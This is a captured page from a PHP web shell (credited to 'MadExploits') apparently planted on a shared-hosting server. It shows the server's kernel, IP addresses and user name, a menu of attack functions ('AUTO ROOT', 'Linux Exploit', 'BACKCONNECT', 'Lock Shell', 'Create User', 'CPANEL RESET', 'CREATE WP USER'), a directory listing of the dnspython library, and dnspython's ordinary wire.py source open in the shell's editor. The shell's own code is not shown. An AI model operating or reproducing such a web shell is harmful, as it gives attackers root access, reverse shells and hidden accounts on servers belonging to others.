Linux host45.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
Apache
: 198.54.116.152 | : 216.73.216.237
Cant Read [ /etc/named.conf ]
8.1.32
bankpromax
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
opt /
hc_python /
lib /
python3.12 /
site-packages /
dns /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
dnssecalgs
[ DIR ]
drwxr-xr-x
quic
[ DIR ]
drwxr-xr-x
rdtypes
[ DIR ]
drwxr-xr-x
__init__.py
1.62
KB
-rw-r--r--
_asyncbackend.py
2.34
KB
-rw-r--r--
_asyncio_backend.py
8.84
KB
-rw-r--r--
_ddr.py
5.12
KB
-rw-r--r--
_features.py
2.43
KB
-rw-r--r--
_immutable_ctx.py
2.4
KB
-rw-r--r--
_trio_backend.py
8.27
KB
-rw-r--r--
asyncbackend.py
2.73
KB
-rw-r--r--
asyncquery.py
30.1
KB
-rw-r--r--
asyncresolver.py
17.43
KB
-rw-r--r--
dnssec.py
40.74
KB
-rw-r--r--
dnssectypes.py
1.76
KB
-rw-r--r--
e164.py
3.88
KB
-rw-r--r--
edns.py
16.69
KB
-rw-r--r--
entropy.py
4.14
KB
-rw-r--r--
enum.py
3.6
KB
-rw-r--r--
exception.py
5.81
KB
-rw-r--r--
flags.py
2.69
KB
-rw-r--r--
grange.py
2.09
KB
-rw-r--r--
immutable.py
1.97
KB
-rw-r--r--
inet.py
5.64
KB
-rw-r--r--
ipv4.py
2.49
KB
-rw-r--r--
ipv6.py
6.4
KB
-rw-r--r--
message.py
66.59
KB
-rw-r--r--
name.py
41.78
KB
-rw-r--r--
namedict.py
3.91
KB
-rw-r--r--
nameserver.py
9.88
KB
-rw-r--r--
node.py
12.37
KB
-rw-r--r--
opcode.py
2.67
KB
-rw-r--r--
py.typed
0
B
-rw-r--r--
query.py
54.98
KB
-rw-r--r--
rcode.py
4.06
KB
-rw-r--r--
rdata.py
30.29
KB
-rw-r--r--
rdataclass.py
2.91
KB
-rw-r--r--
rdataset.py
16.27
KB
-rw-r--r--
rdatatype.py
7.27
KB
-rw-r--r--
renderer.py
10.99
KB
-rw-r--r--
resolver.py
72
KB
-rw-r--r--
reversename.py
3.74
KB
-rw-r--r--
rrset.py
8.96
KB
-rw-r--r--
serial.py
3.52
KB
-rw-r--r--
set.py
9
KB
-rw-r--r--
tokenizer.py
23.03
KB
-rw-r--r--
transaction.py
22.06
KB
-rw-r--r--
tsig.py
11.15
KB
-rw-r--r--
tsigkeyring.py
2.57
KB
-rw-r--r--
ttl.py
2.91
KB
-rw-r--r--
update.py
11.96
KB
-rw-r--r--
version.py
1.88
KB
-rw-r--r--
versioned.py
11.49
KB
-rw-r--r--
win32util.py
8.67
KB
-rw-r--r--
wire.py
2.76
KB
-rw-r--r--
xfr.py
12.96
KB
-rw-r--r--
zone.py
50.87
KB
-rw-r--r--
zonefile.py
27.27
KB
-rw-r--r--
zonetypes.py
690
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : wire.py
# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license import contextlib import struct from typing import Iterator, Optional, Tuple import dns.exception import dns.name class Parser: def __init__(self, wire: bytes, current: int = 0): self.wire = wire self.current = 0 self.end = len(self.wire) if current: self.seek(current) self.furthest = current def remaining(self) -> int: return self.end - self.current def get_bytes(self, size: int) -> bytes: assert size >= 0 if size > self.remaining(): raise dns.exception.FormError output = self.wire[self.current : self.current + size] self.current += size self.furthest = max(self.furthest, self.current) return output def get_counted_bytes(self, length_size: int = 1) -> bytes: length = int.from_bytes(self.get_bytes(length_size), "big") return self.get_bytes(length) def get_remaining(self) -> bytes: return self.get_bytes(self.remaining()) def get_uint8(self) -> int: return struct.unpack("!B", self.get_bytes(1))[0] def get_uint16(self) -> int: return struct.unpack("!H", self.get_bytes(2))[0] def get_uint32(self) -> int: return struct.unpack("!I", self.get_bytes(4))[0] def get_uint48(self) -> int: return int.from_bytes(self.get_bytes(6), "big") def get_struct(self, format: str) -> Tuple: return struct.unpack(format, self.get_bytes(struct.calcsize(format))) def get_name(self, origin: Optional["dns.name.Name"] = None) -> "dns.name.Name": name = dns.name.from_wire_parser(self) if origin: name = name.relativize(origin) return name def seek(self, where: int) -> None: # Note that seeking to the end is OK! (If you try to read # after such a seek, you'll get an exception as expected.) if where < 0 or where > self.end: raise dns.exception.FormError self.current = where @contextlib.contextmanager def restrict_to(self, size: int) -> Iterator: assert size >= 0 if size > self.remaining(): raise dns.exception.FormError saved_end = self.end try: self.end = self.current + size yield # We make this check here and not in the finally as we # don't want to raise if we're already raising for some # other reason. if self.current != self.end: raise dns.exception.FormError finally: self.end = saved_end @contextlib.contextmanager def restore_furthest(self) -> Iterator: try: yield None finally: self.current = self.furthest
Close